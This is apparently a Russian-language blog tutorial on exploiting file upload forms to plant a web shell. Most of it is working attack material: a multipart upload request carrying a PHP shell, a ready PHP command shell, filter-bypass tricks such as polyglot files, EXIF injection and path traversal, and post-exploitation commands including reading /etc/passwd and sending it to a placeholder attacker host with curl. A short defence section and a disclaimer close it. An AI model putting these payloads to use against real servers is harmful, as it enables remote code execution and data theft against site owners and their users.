File Upload: от аватарки до веб-шелла за три шага
Эй, разработчики и пентестеры! Функция загрузки файлов — это золотая жила для взлома. 80% веб-приложений имеют ее, но проверяют криво. Атакующий тратит 5 минут, а ты теряешь сервер.
В этой статье — пошаговый разбор: от обнаружения уязвимости до выполнения команд. С кодом, инструментами и защитой. Только хардкор, без воды.
Шаг 1: Обнаружение дыры
Любая форма с <input type="file"> — цель. Целься на профили, чаты, отзывы. Если сервер принимает файл и показывает его (или сохраняет в web-root), bingo.
Тестируем базово
- Загрузи
.txtс<?php system('id'); ?>. - Если отображается как
uploaded/file.txt— проверь доступ:http://target/uploaded/file.txt. Если выполняется PHP — уязвимость найдена.
Инструмент: Burp Suite. Перехватывай POST-запрос в Proxy. Меняй Content-Type и extension на лету.
Пример запроса:
|
1 2 3 4 5 6 7 8 9 |
POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg <?php system($_GET['cmd']); ?> ------WebKitFormBoundary-- |
Шаг 2: Байпас фильтров (Топ-5 трюков)
Серверы часто блочат .php, но пропускают JPG. Обходим это за секунды.
Трюк 1: Double Extension
shell.jpg.php. Если чек только на наличие .jpg — файл интерпретируется как PHP на Apache/Nginx.
Трюк 2: Null Byte (старый, но живой)
shell.php%00.jpg. В старых PHP (<5.3) %00 обрезает строку. Теперь редко, но на legacy — работает.
Трюк 3: Polyglot (универсальный файл)
Создай файл, который валиден как JPG и PHP. Добавь в начало JPG-хедер \xFF\xD8\xFF (magic bytes), а дальше шелл.
|
1 2 3 |
# Генерим polyglot echo -ne '\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xFF\xDB' > shell.jpg.php cat shell.php >> shell.jpg.php # Твой шелл |
Загрузи — сервер видит JPG, но выполняет PHP.
Трюк 4: Content-Type Spoof
В Burp меняй Content-Type: image/jpeg на application/octet-stream. Или инжектируй EXIF-данные в JPG:
|
1 2 |
exiftool -Comment='<?php system($_GET['cmd']); ?>' avatar.jpg mv avatar.jpg avatar.php.jpg |
Сервер думает — картинка, но исполняет код.
Трюк 5: ZIP Slip или Path Traversal
../../shell.php. Если нет нормализации пути — шелл улетает в root.
Burp Intruder для автоматизации: Фиксируй filename и грузи payload’ы: .php, .phtml, .php.jpg и т.д..
Шаг 3: Получаем шелл и RCE
Шелл на месте? Выполняй команды:
|
1 2 |
http://target/uploads/shell.php?cmd=id uid=33(www-data) gid=33(www-data) |
Готовый мини-шелл (PHP):
|
1 2 3 4 5 6 7 8 9 |
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> |
Дальше — cmd=cat /etc/passwd, cmd=find / -perm -4000 2>/dev/null (SUID), или cmd=curl -d @/etc/passwd attacker.com.
Для перса — апгрейдь до Meterpreter через msfvenom.
Защита: Не будь лохом
- Whitelist MIME и magic bytes: Чек header’а файла (libmagic).
.jpgдолжен начинаться с\xFF\xD8. - Храни вне web-root:
/var/uploads/без exec прав. Служи через отдельный endpoint с проверкой. - Рандомные имена:
uniqid() . '.' . $ext. Никто не найдет твой шелл. - Размер/скан: Лимит 2MB, антивирус (ClamAV).
- Сервер-сайд валидация: Никогда не верь клиенту. Используй GD/ImageMagick для ресайза изображений — исполняемый код сломается.
Таблица сравнения чеков:
| Чек | Плюсы | Минусы | Байпас |
|---|---|---|---|
| Extension blacklist | Просто | Double ext | shell.php.jpg |
| MIME-type | Стандартно | Spoof в Burp | image/jpeg + PHP |
| Magic bytes | Надежно | Polyglot | GIF89a; + shell |
| Full scan | Идеально | Медленно | — |
Тестируй свой аплоад OWASP ZAP или Burp Scanner. Если прошел — фиксь.
Disclaimer: Только для пентеста своих/разрешенных систем. Взлом чужих — уголовка. Учись защищаться, а не вредить.
Копируй код, тестируй локально — и станешь королем аплоадов.

На этом все. Всем хорошего дня!
